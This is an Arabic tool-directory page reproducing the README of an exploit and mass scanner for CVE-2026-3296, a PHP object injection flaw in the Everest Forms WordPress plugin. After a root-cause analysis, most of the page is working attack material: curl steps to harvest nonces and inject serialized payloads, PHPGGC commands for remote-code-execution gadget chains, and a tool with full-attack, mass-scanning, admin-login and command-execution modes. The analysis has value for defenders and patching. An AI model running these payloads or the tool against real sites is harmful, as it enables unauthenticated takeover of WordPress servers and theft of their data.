Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-3296 — CVE-2026-3296 هي ثغرة PHP Object Injection غير مصادق عليها بدرجة CVSS 9.8 Critical في إضافة Everest Forms لووردبريس | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-3296
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubxxconi/cve-2026-3296

CVE-2026-3296

CVE-2026-3296 هي ثغرة PHP Object Injection غير مصادق عليها بدرجة CVSS 9.8 Critical في إضافة Everest Forms لووردبريس

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-3296

CVE-2026-3296 هي ثغرة حقن كائنات PHP غير مصادق عليها بتقييم CVSS 9.8 (حرج) في إضافة Everest Forms لووردبريس

CVE-2026-3296 — ماسح حقن كائنات PHP في Everest Forms

الإضافة: Everest Forms – نموذج الاتصال، نموذج الدفع، الاختبارات، الاستبيانات ومنشئ النماذج المخصصة Slug الإضافة: everest-forms معرف CVE: CVE-2026-3296 نقاط CVSS: 9.8 (حرج) متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H نوع الثغرة: حقن كائنات PHP غير مصادق عليه → تنفيذ أوامر عن بُعد (RCE) الإصدارات المتأثرة: <= 3.4.3 الإصدار المُصحَّح: 3.4.4 تاريخ النشر: 7 أبريل 2026 الباحث: 0xsabre — Mobikwik / Wordfence


📌 حول الثغرة

إضافة Everest Forms تستخدم دالة unserialize() الأصلية في PHP عند عرض بيانات وصفية لإدخالات النماذج في لوحة الإدارة، وذلك بدون معامل allowed_classes.

يمكن لمهاجم غير مصادق عليه تضمين حمولة كائن PHP مُسلسَلة في أي حقل نموذج عام، وحفظها في قاعدة البيانات. عند عرض الإدخال في لوحة الإدارة، يتم تشغيل unserialize() وتنفيذ أي سلسلة أدوات POP متاحة في البيئة.


🔍 ملخص الثغرة


⚙️ التحليل الفني

نموذج الهجوم على مرحلتين

root@kitploit:~
المرحلة 1 — الحقن (بدون مصادقة)
المرحلة 2 — التشغيل (عرض لوحة الإدارة)

المرحلة 1 — الحقن: تخزين الحمولة

خطاف تقديم النموذج (class-evf-form-task.php، السطر 75)

root@kitploit:~
// يتم تشغيله عند كل تحميل صفحة أمامية
add_action( 'wp', array( $this, 'listen_task' ) );
root@kitploit:~
// السطر 109 — تتم معالجة بيانات المستخدم بعد التنظيف
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

لماذا التنظيف غير كافٍ (evf-core-functions.php، السطر 4754)

root@kitploit:~
// sanitize_text_field() يزيل وسوم HTML والبايتات الخالية
// لكنه لا يزيل أحرف تسلسل PHP (O:, s:, {, }, ;)
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

هذه الحمولة تبقى سليمة تماماً بعد sanitize_text_field():

root@kitploit:~
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

خطأ إضافي — إرجاع مبكر (السطر 4764)

root@kitploit:~
// جملة return $entry; داخل حلقة foreach
// → يتم تنظيف الحقل الأول فقط، وبقية الحقول تبقى خام
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← خطأ: الحلقة تخرج عند التكرار الأول
}

الكتابة إلى قاعدة البيانات (class-evf-form-task.php، السطر 1326)

root@kitploit:~
$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() لا يغير السلاسل العادية
    // → يتم كتابة سلسلة الكائن المسلسل كما هي
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

المرحلة 2 — التشغيل: إلغاء تسلسل غير آمن

الكود الضعيف (html-admin-page-entries-view.php، السطور 130–133)

root@kitploit:~
$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ لا يوجد معامل allowed_classes
    // الإعداد الافتراضي لـ PHP: يمكن إنشاء جميع الفئات
    // → يتم تشغيل سلسلة أدوات POP
}

دالة آمنة موجودة ولكن غير مستخدمة (evf-core-functions.php، السطر 5594)

root@kitploit:~
// هذه الدالة كانت موجودة بالفعل — لكن لم يتم استدعاؤها
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // آمن
        }
        return null;
    }
    return $data;
}

لماذا لا يوفر Nonce الحماية؟

root@kitploit:~
<!-- مضمن في HTML النموذج العام — يمكن لأي شخص قراءته -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

Nonce يوفر حماية ضد CSRF وليس مصادقة. يمكن للمهاجم فتح صفحة النموذج عبر GET وقراءة nonce، ثم إرسال الحمولة عبر POST.


🔴 سلسلة الهجوم الكاملة

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  المرحلة 1 — الحقن (بدون مصادقة)                           │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → يبقي التسلسل سليماً       │
│       ├── maybe_serialize() → لا يغير السلسلة                │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (يقوم المسؤول بفحص روتيني)
┌──────────────────────────▼───────────────────────────────────┐
│  المرحلة 2 — التشغيل (لوحة الإدارة)                        │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← الثغرة               │
│       │   allowed_classes = (غير موجود) → كل الفئات          │
│       └── سلسلة أدوات POP → __wakeup() / __destruct()        │
│           → RCE / كتابة ملف / تسريب بيانات                   │
└──────────────────────────────────────────────────────────────┘

🧪 إثبات المفهوم (يدوي)

⚠️ إخلاء مسؤولية: يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وبحثية دفاعية فقط.

المتطلبات الأساسية:

  • إضافة Everest Forms <= 3.4.3 مثبتة ونشطة
  • صفحة نموذج يمكن الوصول إليها علناً
  • إمكانية الوصول إلى لوحة الإدارة (للتشغيل)

الخطوة 1 — الحصول على معرف النموذج و nonce

root@kitploit:~
TARGET="https://target-site.example.com/contact/"

# استخراج معرف النموذج
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# استخراج nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

الخطوة 2 — إنشاء حمولة اختبارية غير ضارة

root@kitploit:~
# اختبار آمن — stdClass، لا توجد دوال سحرية
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

لإنشاء سلسلة أدوات حقيقية في بيئة عملية، استخدم PHPGGC:

root@kitploit:~
# سلسلة WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s

# سلسلة Monolog
phpggc Monolog/RCE1 system "id" -s

الخطوة 3 — حقن الحمولة

root@kitploit:~
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

المتوقع: رسالة نجاح النموذج أو إعادة توجيه.


الخطوة 4 — التحقق في قاعدة البيانات (WP-CLI)

root@kitploit:~
wp db query \
  "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
  --allow-root
# يجب أن يظهر السطر O:8:"stdClass":2:{...}

الخطوة 5 — التشغيل كمسؤول

root@kitploit:~
https://target-site.example.com/wp-admin/admin.php
  ?page=evf-entries
  &form_id=123
  &view-entry=<ENTRY_ID>

عند تحميل الصفحة، يتم تشغيل unserialize().


الخطوة 6 — التحقق من سلسلة الأدوات (بيئة اختبارية)

root@kitploit:~
// test-gadget.php — يُستخدم فقط في بيئة اختبارية
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'تم تأكيد حقن كائن PHP في ' . date('c')
        );
    }
}
root@kitploit:~
cat /tmp/pwned.txt
# تم تأكيد حقن كائن PHP في 2026-04-08T...

🛠️ الماسح الآلي

التثبيت

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 الاستخدام

كشف الثغرة (حمولة غير ضارة)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan

الحقن فقط (المرحلة 1)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --payload-type probe

الهجوم الكامل (المرحلة 1 + المرحلة 2)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123!

تحديد معرف النموذج يدوياً + حمولة مخصصة

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'

الكشف باستخدام استدعاء خارجي (Burp Collaborator)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan \
  --payload-type ssrf \
  --callback-url http://your.burp.collaborator.net

المسح الجماعي

root@kitploit:~
python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o sonuclar.txt

باستخدام بروكسي (Burp Suite)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ الوسائط

الوضع

الوضعالوصف
scanحقن حمولة غير ضارة — كشف الثغرة
injectالمرحلة 1 فقط — تخزين الحمولة

الوسائط العامة

وسائط النموذج

خيارات الحمولة

بيانات اعتماد المسؤول

الوسيطةالوصف
--admin-userاسم مستخدم المسؤول
--admin-passكلمة مرور المسؤول

💀 أنواع الحمولات

💡 إنشاء سلاسل حقيقية باستخدام PHPGGC:

root@kitploit:~
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s

# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s

# عرض جميع السلاسل المتاحة
phpggc -l

📊 حالات إخراج الماسح


🖥️ نموذج إخراج الماسح

root@kitploit:~
[*] الهدف         : http://hedef.com
[*] الوضع          : full
[*] نوع الحمولة   : probe
[*] الأمر          : id
[*] مستخدم الإدارة : admin

[→] http://hedef.com  الخطوة 1: البحث عن نموذج Everest Forms...
[→] http://hedef.com  الخطوة 2: حقن الحمولة...
[→] http://hedef.com  الخطوة 3: تسجيل الدخول كمسؤول...
[→] http://hedef.com  الخطوة 4: البحث عن معرف الإدخال...
[→] http://hedef.com  الخطوة 5: تشغيل unser
تنزيل الأداة
الحقلالقيمة
معرف CVECVE-2026-3296
CVSS9.8 حرج
النوعحقن كائنات PHP (إلغاء تسلسل بيانات غير موثوقة)
الإصدار المتأثر<= 3.4.3
الإصدار المُصحَّح3.4.4
المصادقةغير مطلوبة (الحقن)، مطلوبة (التشغيل)
CWECWE-502: إلغاء تسلسل بيانات غير موثوقة
trigger
المرحلة 2 فقط — التشغيل بتسجيل الدخول كمسؤول
fullالمرحلة 1 + المرحلة 2 — الهجوم الكامل
الوسيطةالمختصرالوصفالافتراضي
--url-uURL الهدف الفردي—
--list-lملف بقائمة الأهداف—
--threads-tعدد الخيوط5
--output-oملف الإخراجpoi_results.txt
--proxy—URL البروكسي—
--force—الاستمرار حتى لو فشل كشف الإضافةFalse
الوسيطةالوصفالافتراضي
--form-idمعرف نموذج CF7كشف تلقائي
--form-urlURL صفحة النموذجكشف تلقائي
--field-nameاسم الحقل المستهدفكشف تلقائي
--nonceقيمة nonce للنموذجاستخراج تلقائي
--entry-idمعرف الإدخال (وضع trigger)كشف تلقائي
الوسيطةالوصفالافتراضي
--payload-typeنوع الحمولةprobe
--custom-payloadسلسلة مسلسلة مخصصة—
--cmdأمر RCEid
--callback-urlURL استدعاء خارجي—
النوعالوصفالاستخدام
probestdClass غير ضار — لا آثار جانبيةكشف الثغرة
file_writeكتابة ملف (TestGadget)تحقق في البيئة الاختبارية
ssrfاستدعاء HTTP — كشف خارجيBurp Collaborator
wp_rceسلسلة أدوات POP لـ WordPressيُنشئها PHPGGC
yoast_rceسلسلة أدوات POP لـ Yoast SEOيُنشئها PHPGGC
monolog_rceسلسلة أدوات POP لـ Monologيُنشئها PHPGGC
الحالةالوصف
★ PWNEDتم تشغيل إلغاء التسلسل وتنفيذ الحمولة
★ VULNتم حقن الحمولة — تأكيد الثغرة
~ TRIGGEREDتم عرض الإدخال — تحقق يدوي من سلسلة الأدوات
- INJ_FAILفشل الحقن (مُصحَّح / لا يوجد نموذج)
~ NO_FORMلم يتم العثور على نموذج Everest Forms
- NO_PLUGINالإضافة غير مثبتة
~ NO_CREDSبيانات اعتماد المسؤول مفقودة
- ADM_FAILفشل تسجيل الدخول كمسؤول
~ UNREACHالهدف غير قابل للوصول